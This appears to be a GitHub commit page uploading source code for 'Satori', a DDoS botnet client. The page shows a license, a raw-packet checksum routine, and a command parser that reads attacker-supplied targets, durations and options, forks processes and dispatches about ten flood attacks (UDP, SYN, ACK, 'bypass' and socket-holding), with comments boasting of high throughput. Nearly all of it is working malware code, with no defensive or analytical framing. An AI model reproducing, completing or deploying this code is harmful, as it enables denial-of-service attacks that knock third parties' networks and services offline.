Skip to content

Commit 09fee64

Browse files
authored
Add files via upload
1 parent 652af69 commit 09fee64

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

72 files changed

+9652
-0
lines changed

Satori/LICENSE.md

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
Copyright 2021
2+
3+
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
4+
5+
1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
6+
7+
2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
8+
9+
3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
10+
11+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

Satori/bot/check_sum.c

+53
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
#define _GNU_SOURCE
2+
3+
#include <arpa/inet.h>
4+
#include <linux/ip.h>
5+
6+
#include "headers/includes.h"
7+
#include "headers/check_sum.h"
8+
9+
uint16_t check_sum_generic(uint16_t *addr, uint32_t count)
10+
{
11+
register unsigned long sum = 0;
12+
13+
for(sum = 0; count > 1; count -= 2)
14+
sum += *addr++;
15+
if(count == 1)
16+
sum += (char)*addr;
17+
18+
sum = (sum >> 16) + (sum & 0xFFFF);
19+
sum += (sum >> 16);
20+
21+
return ~sum;
22+
}
23+
24+
uint16_t check_sum_tcp_udp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
25+
{
26+
const uint16_t *buf = buff;
27+
uint32_t ip_src = iph->saddr;
28+
uint32_t ip_dst = iph->daddr;
29+
uint32_t sum = 0;
30+
int length = len;
31+
32+
while(len > 1)
33+
{
34+
sum += *buf;
35+
buf++;
36+
len -= 2;
37+
}
38+
39+
if(len == 1)
40+
sum += *((uint8_t *) buf);
41+
42+
sum += (ip_src >> 16) & 0xFFFF;
43+
sum += ip_src & 0xFFFF;
44+
sum += (ip_dst >> 16) & 0xFFFF;
45+
sum += ip_dst & 0xFFFF;
46+
sum += htons(iph->protocol);
47+
sum += data_len;
48+
49+
while(sum >> 16)
50+
sum = (sum & 0xFFFF) + (sum >> 16);
51+
52+
return ((uint16_t) (~sum));
53+
}

Satori/bot/command.c

+258
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,258 @@
1+
#define _GNU_SOURCE
2+
3+
#include <stdint.h>
4+
#include <arpa/inet.h>
5+
#include <stdlib.h>
6+
#include <unistd.h>
7+
#include <signal.h>
8+
#include <string.h>
9+
10+
#include "headers/command.h"
11+
#include "headers/includes.h"
12+
13+
static COMMAND_FUNC retrieve_command_func(uint8_t id)
14+
{
15+
return command_list[id].func;
16+
}
17+
18+
char *retrieve_opt_str(struct option *opt, uint8_t opt_len, uint8_t id, char *default_val)
19+
{
20+
char *val;
21+
int x = 0;
22+
23+
val = default_val;
24+
25+
for(x = 0; x < opt_len; x++)
26+
{
27+
if(opt[x].id == id)
28+
val = opt[x].val;
29+
}
30+
31+
return val;
32+
}
33+
34+
uint16_t retrieve_opt_num(struct option *opt, uint8_t opt_len, uint8_t id, uint16_t default_val)
35+
{
36+
uint16_t val = 0;
37+
int x = 0;
38+
39+
val = default_val;
40+
41+
for(x = 0; x < opt_len; x++)
42+
{
43+
if(opt[x].id == id)
44+
val = atoi(opt[x].val);
45+
}
46+
47+
return val;
48+
}
49+
50+
uint32_t retrieve_opt_ipv4(struct option *opt, uint8_t opt_len, uint8_t id, uint32_t default_val)
51+
{
52+
uint32_t val = 0;
53+
int x = 0;
54+
55+
val = default_val;
56+
57+
for(x = 0; x < opt_len; x++)
58+
{
59+
if(opt[x].id == id)
60+
val = inet_addr(opt[x].val);
61+
}
62+
63+
return val;
64+
}
65+
66+
static void terminate_command(struct arguments *args)
67+
{
68+
int ppid = -1;
69+
int i = 0;
70+
71+
sleep(args->time);
72+
73+
ppid = getppid();
74+
75+
if(ppid > 1)
76+
{
77+
kill(ppid, SIGKILL);
78+
}
79+
80+
if(args->targets)
81+
{
82+
free(args->targets);
83+
}
84+
85+
if(!args->options)
86+
{
87+
exit(0);
88+
}
89+
90+
for(i = 0; i < args->num_of_flags; i++)
91+
{
92+
free(args->options[i].val);
93+
}
94+
95+
free(args->options);
96+
97+
exit(0);
98+
}
99+
100+
static void command_flood(uint8_t id, struct option *opt, uint8_t num_of_flags, struct target *target, uint8_t num_of_targets, uint16_t time)
101+
{
102+
COMMAND_FUNC func;
103+
int pid = -1;
104+
int pid2 = -1;
105+
struct arguments args;
106+
107+
func = retrieve_command_func(id);
108+
if(!func)
109+
{
110+
return;
111+
}
112+
113+
// Build the command arguments
114+
args.targets = target;
115+
args.num_of_flags = num_of_flags;
116+
args.num_of_targets = num_of_targets;
117+
args.options = opt;
118+
args.time = time;
119+
120+
pid = fork();
121+
122+
if(pid == -1)
123+
{
124+
return;
125+
}
126+
127+
if(pid != 0)
128+
{
129+
return;
130+
}
131+
132+
pid2 = fork();
133+
134+
if(pid2 == -1)
135+
{
136+
exit(1);
137+
}
138+
139+
// Sleep inside the grandchild
140+
if(pid2 == 0)
141+
{
142+
terminate_command(&args);
143+
}
144+
145+
// Call the command function here in the child
146+
func(&args);
147+
}
148+
149+
void command_parse(char *buf, int buf_len)
150+
{
151+
uint8_t id = 0;
152+
uint8_t num_of_targets = 0;
153+
struct option *opt = NULL;
154+
struct target *target = NULL;
155+
int x = 0;
156+
uint8_t num_of_flags = 0;
157+
uint16_t time = 0;
158+
159+
// Read in the ID first
160+
id = *(uint8_t *)buf;
161+
buf += sizeof(uint8_t);
162+
buf_len -= sizeof(uint8_t);
163+
164+
// Read in the time duration
165+
time = *(uint16_t *)buf;
166+
time = ntohs(time);
167+
buf += sizeof(uint16_t);
168+
buf_len -= sizeof(uint16_t);
169+
170+
// Read in the number of targets
171+
num_of_targets = *(uint8_t *)buf;
172+
buf += sizeof(uint8_t);
173+
buf_len -= sizeof(uint8_t);
174+
175+
// Allocate some space for the target+netmask
176+
target = (struct target *)calloc(num_of_targets, sizeof(struct target));
177+
if(!target)
178+
return;
179+
180+
// Read in the target+netmask
181+
for(x = 0; x < num_of_targets; x++)
182+
{
183+
target[x].host = *(uint32_t *)buf;
184+
buf += sizeof(uint32_t);
185+
buf_len -= sizeof(uint32_t);
186+
target[x].netmask = *(uint8_t *)buf;
187+
buf += sizeof(uint16_t);
188+
buf_len -= sizeof(uint16_t);
189+
}
190+
191+
// Read in the flag count
192+
num_of_flags = *(uint8_t *)buf;
193+
buf += sizeof(uint8_t);
194+
buf_len -= sizeof(uint8_t);
195+
196+
if(num_of_flags == 0)
197+
{
198+
command_flood(id, opt, num_of_flags, target, num_of_targets, time);
199+
return;
200+
}
201+
202+
// Allocate some space for the flag id+val
203+
opt = (struct option *)calloc(num_of_flags, sizeof(struct option));
204+
if(!opt)
205+
{
206+
free(target);
207+
return;
208+
}
209+
210+
// Read in flag id+val
211+
for(x = 0; x < num_of_flags; x++)
212+
{
213+
uint16_t val_len = 0;
214+
215+
opt[x].id = *(uint8_t *)buf;
216+
buf += sizeof(uint8_t);
217+
buf_len -= sizeof(uint8_t);
218+
219+
val_len = *(uint16_t *)buf;
220+
val_len = ntohs(val_len);
221+
buf += sizeof(uint16_t);
222+
buf_len -= sizeof(uint16_t);
223+
224+
opt[x].val = (char *)malloc(val_len + 1);
225+
memcpy(opt[x].val, buf, val_len);
226+
opt[x].val[val_len] = 0; // We shouldn't have to null terminate the buffer but just incase
227+
228+
buf += val_len;
229+
buf_len -= val_len;
230+
231+
}
232+
233+
// Initialize the flood
234+
command_flood(id, opt, num_of_flags, target, num_of_targets, time);
235+
return;
236+
}
237+
238+
static void load_command(uint8_t id, COMMAND_FUNC func)
239+
{
240+
command_list[id].id = id;
241+
command_list[id].func = func;
242+
return;
243+
}
244+
245+
void init_commands(void)
246+
{
247+
load_command(FLOOD_UDPFLOOD, (COMMAND_FUNC)flood_udp_classic); // high gbps flood
248+
load_command(FLOOD_SYNFLOOD, (COMMAND_FUNC)flood_tcp_gsyn); // high gbps flood
249+
load_command(FLOOD_ACKFLOOD, (COMMAND_FUNC)flood_tcp_gack); // high gbps flood
250+
load_command(FLOOD_UDPPLAIN, (COMMAND_FUNC)flood_udp_plain); // high pps flood
251+
load_command(FLOOD_SYNPLAIN, (COMMAND_FUNC)flood_tcp_syn); // high pps flood
252+
load_command(FLOOD_ACKPLAIN, (COMMAND_FUNC)flood_tcp_ack); // high pps flood
253+
load_command(FLOOD_SYNACK, (COMMAND_FUNC)flood_tcp_sack); // high pps flood
254+
load_command(FLOOD_ACKPSH, (COMMAND_FUNC)flood_tcp_stomp); // high pps flood
255+
load_command(FLOOD_BYPASS, (COMMAND_FUNC)flood_udp_bypass); // bypass flood
256+
load_command(FLOOD_TCPSOCKET, (COMMAND_FUNC)flood_tcp_socket); // holds sockets open
257+
return;
258+
}

0 commit comments

Comments
 (0)